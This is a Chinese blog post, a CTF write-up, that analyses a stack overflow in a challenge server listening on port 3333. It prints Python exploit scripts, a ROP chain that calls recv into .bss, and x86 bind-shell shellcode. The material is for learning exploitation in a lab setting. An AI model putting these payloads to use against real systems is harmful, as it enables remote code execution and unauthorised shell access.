您现在的位置: Tracy‘Blog > 博客 > 黑人黑事 > 正文
Rop链原理初次实践

此前一直没成功实现,直到拿到大牛的exp~~~于是,写下这篇分析。

360的溢出题——sever,从105上下载下来后,先file一下,知道elf x86的,就直接放到bt5里去了。这边实体机先开启ida看看。

找到main函数,F5~

监听3333端口,这里没什么问题。因为没有输入接口。接着看recv_data

你就会发现问题,第一个recv处,把接收到的前4个字节放到buf中,当做第二个recv的缓冲区大小。另外,看看开辟的V3的大小,用2C-22,就等于A,也就是其实V3只能放10个字节,多了就溢出了。

来检验一次,看猜测是否正确。因为能发过去的字符都是00以上的,所以第一次接收到的buf作为第二次的长度只能动态跟踪给大家看了

初步的exp为:

import socket

import sys

import time

 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('192.168.221.129', 3333))

print s.recv(4096)

 

b = 'abcdefghijklmnopqrstuvwxyz0123'   #jineng

retn = '\x1C\x87\x04\x08'    #0804871C    bfcd6450

c = 'aaaaaaaaaaaaaaa'

s.send(b + retn + c +'\n')

print s.recv(4096)


所以,在下图中,可以看到执行到call的时候,传入的中len被置为abcd。如果单看这个长度,要溢出还是很费劲的。但是,后面能被处理的字符限制到了10,再往后覆盖,就溢出了。我们这是覆盖到retn地址了。0804871C根据程序中给出的思路,大概是要读取到password.txt然后返回回来,于是我们就往这个地址上跳转。

同时,看看执行到ret的时候的情况堆栈的情况。

红色框框是当前esp指向的位置。虽然能够成功跳转,但这个时候,你会发现一个问题,我们来看看send_password这个函数:

读取文件中的14个字节,额,只读14个,那么如果文件大小大于14字节呢?显然,是读不完的。这也是这题目的一个陷阱之一吧。很多人读到了password.txt但是,却提交不成功。

我本地在password.txt中写入:


cat Desktop/password.txt

1234567890

1234567890

1234567890
而溢出后,跳转到send_password,返回给我的却只有:



Hello, please exploit me!

 

1234567890

123


那,我们就想办法让这个程序能完整的读取password.txt吧,有哪些办法呢?

1.直接溢出返回一个shell

2.构造shellcode实现对程序的修改,然后跳转过去。

后面那个,有点麻烦,大家自己实验吧,先说说前面的。问题也来了,我们得想办法让程序跳转到我们的shellcode的地方,而我们发过去的shellcode都是在堆栈,而且,Linux下这片区域一直在变动着,当然,我们都会很快的想到jmp esp之类的。

先看看运行到ret的时候的寄存器值,会发现,只有especx离我们的堆栈比较近。

ECX与我们输入的值中间有一段是不可控制的。而EBP是我们可控的也就是说,我们可以选择往esp或者ebp上跳转,然后查一查有没有类似的指令:

搜索jmp ebp

搜索jmp esp

都有,但是还有个问题就是Linux版本的问题,这里是在libc-2.11.1.so中找到的,但你怎么就能知道靶机上的版本和你的一样呢?这就需要你对目标机有个准确的把控了。

貌似暂时没能想到其他的好的办法,现在就用这个jmp esp来演示吧~那么,我们要跳转的地方应该是b7579a19。把刚才的expretn的地址改掉:

retn = '\x19\x9a\x57\xb7' #

再来看看:

发现不行,访问不了那个地址。于是,这题路也走不通了。

主要是来分析ROP链在pwn中的应用,所以先来看看别人怎么做的吧~~~这里先展示堆栈效果。


from zio import *

import socket

import sys

import time

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('127.0.0.1', 3333))

print s.recv(4096)

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +\

"\x80\x5b\x5e\x52\x68\x02\x00\x05\x39\x6a\x10\x51\x50\x89" +\

"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" +\

"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" +\

"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" +\

"\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

recv = 0x8048600

bss = 0x804a00c

payload = 'A' * 26 + l32(recv) + l32(bss) + l32(4) + l32(bss) + l32(len(shellcode)) + l32(0)
payload = l32(len(payload)) + payload
s.send(payload)
s.send(shellcode)
print s.recv(4096)


到返回处时,堆栈中如图!

可以看到08048600处刚好是jmp recv的地方。这么做的好处是什么呢?刚好后面跟了四个参数,就相当于:recv(00000004 , 0804a00c, 0000004e, 00000000)。接受4e长度的数据保存在0804a00c。而这个地址刚好是程序的数据区。在08048600中间,还放着一个0804a00c是用来干嘛的呢?是让recv执行完后,retn的!

jmprecv执行后,程序相当于重新开辟了一段堆栈空间,运行到返回的时候,就直接执行0804a00c处的代码了。

对了,你还记得刚才那个自己构造的recv是干嘛的么?对,就是接受数据保存的,所以,如果第二次接受的数据时shellcode的话,那么程序将直接执行此shellcode

所以,构造rop链如下:junk + recv + bss + s.sockfd + bss + len + flag

意思是:junk覆盖到retn的地址,让程序返回到recv处,之后的第一个bss是用来返回的,后面的就是recv的参数recv(s,buf,len,flag)

很巧妙,很精髓~

还有一个exp,原理差不多,不过相对复杂些。就不说了,大概的思路就是利用程序自带的函数去实现一些功能!不会熟练使用gdb的菜鸟也只能用edb先给大家展示了~~

事实证明,昆哥和zwl还是很厉害的!赞一个,学习了。

——Tracy_梓朋

2014年8月28日21:44:46

发表评论(3)
1楼 crack  发表于  2015-4-1 13:04:35
博主,我这边做过一些PWN的题目,但是对于ROP还是始终不太会,我能跟你交流交流吗,主要是自己建环境练习方面的,方便留个QQ号吗,我QQ2977474869
2楼 花街骑士  发表于  2014-8-31 12:14:21
我也在学习,博主加油~
3楼 花街骑士  发表于  2014-8-30 15:58:16
你之前参加比赛,溢出都不用ROP咩
[博主回复]  呵呵,之前还真没参加什么高大上的比赛~~~
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’